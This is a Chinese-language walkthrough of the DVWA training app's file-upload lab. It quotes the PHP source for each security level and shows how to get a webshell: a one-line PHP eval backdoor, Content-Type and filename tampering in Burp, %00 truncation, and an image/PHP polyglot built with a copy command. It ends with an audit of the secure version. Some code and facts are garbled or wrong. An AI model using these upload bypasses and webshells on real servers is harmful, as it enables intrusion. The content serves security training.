DVWA_FileUpload⽂件上传抓包改包传⽊马图⽚马的制作
Impossible的代码审计
鸣谢(本⽂⼤部分内容均转载⾃):
⽂件上传漏洞是指服务器在接收⽤户上传的⽂件的时候,没有严格地加以限制和过滤,
如果⿊客上传了⽊马,也就是常说的“挂马”,进⽽拿到了webshell,就可以为所欲为了,嘿嘿嘿嘿嘿嘿嘿嘿嘿~~~~
Low:
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";  //⽹站根⽬录+上传⽂件⽬录
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );  //加上取上传⽂件的名字
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
对我们上传的⽂件的类型⼏乎没有任何限制,上传⼀个最简单的⼀句话⽊马即可
<?php @eval($_POST['zzz']); ?>
下的路径:../../hackable/uploads/shell.php
菜⼑⼀连即可成功
Medium:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
  对上传的⽂件的类型和⼤⼩进⾏了检验和筛选——只有jpeg/png才能上传成功,且⼤⼩必须⼩于100000b
有三种⽅式拿webshell,⾸先介绍两种:
我们的⽬标很明确——上传⼀个.php的⽊马,但是要绕过服务器的格式检验。
那么服务器是如何检验我们上传的⽂件的格式的呢?很简单——通过检查我们上传的⽂件的type属性(FILES['uploaded']['type'])
⽽最后存储在服务器的⽂件,它的格式由什么决定的呢?是由它的名字,⽽它的名字⼜由什么决定的呢——上传的⽂件的name属性(FILES['uploaded']['name'])
<form enctype="multipart/form-data" action="#" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose an image to upload:<br /><br />
<input name="uploaded" type="file" /><br />
<br />
<input type="submit" name="Upload" value="Upload" />
</form>
  这是上传表单的源代码,可以看到,FILES['uploaded']确定了我们上的⽂件
所以有两种payload:
1、本地为shell.php,通过改包,将其Content-Type属性改为image/jpeg
Content-Type属性⼀旦被改为image/jpeg,FILES['uploaded']['type']取出来的就是'jpeg',绕过了检验,但是此时它的名字filename是shell.php,最后存储在服务器上的仍然是shell.php,菜⼑⼀连,成功
2、本地为shell.jpeg,通过改包,将其filename改成.php格式的⽂件
这样,最后服务器也会把它当成php⽂件保存
⽆论是哪种⽅式,bp改包之后都应该是:
Payload3:
还可以直接上传.png⽂件,不过没法执⾏、、
所以我们可以和⽂件包含攻击的Medium结合起来,⽤?page包含了我们的shell.png,然后菜⼑⼀连.... Medium的⽂件包含可以绝对路径本地包含也可以远程⽂件包含,所以在菜⼑中如此编辑:
High:
核⼼检验代码:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&        ( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
  substr(string,index):返回string从index开始剩下得所有部分
  strrops(string,find):返回find在string中最后⼀次出现的位置
substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
  也就是取出了⽂件的扩展名
  getimagesize()⽤以获取⽂件⼤⼩等信息,更是严格限制了⽂件类型必须为图⽚类型
所以我们必须要绕过两个东西:
1、扩展名检验
2、getimagesize()检验
关于扩展名检验很简单,可以利⽤%00截断,也可以利⽤⽂件包含攻击
下⾯是如何绕过getimagesize()检验:
有过MISC经验的同学,⼀定对图像⽂件头有了解:
JPEG/JPG:⽂件头标识:FF D8 ⽂件尾标识:FF D9
PNG:⽂件头标识:89 50 4E 4F 0D 0A 1A 0A
图⽚马的制作:
cmd下:
copy a.png/b+b.php/a c.png
然后直接上传即可,不⽤抓包改包
菜⼑⼀连,可拿webshell
Impossible:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path  = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
/
/$target_file  = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file  =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file    = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&        ( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";        }
inputtypefile不上传文件else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
>
  基本可以被打到⾃闭了、、、、
  这⾥可以看到,对⽂件名进⾏了md5加密,⼏乎不可能%00截断绕过了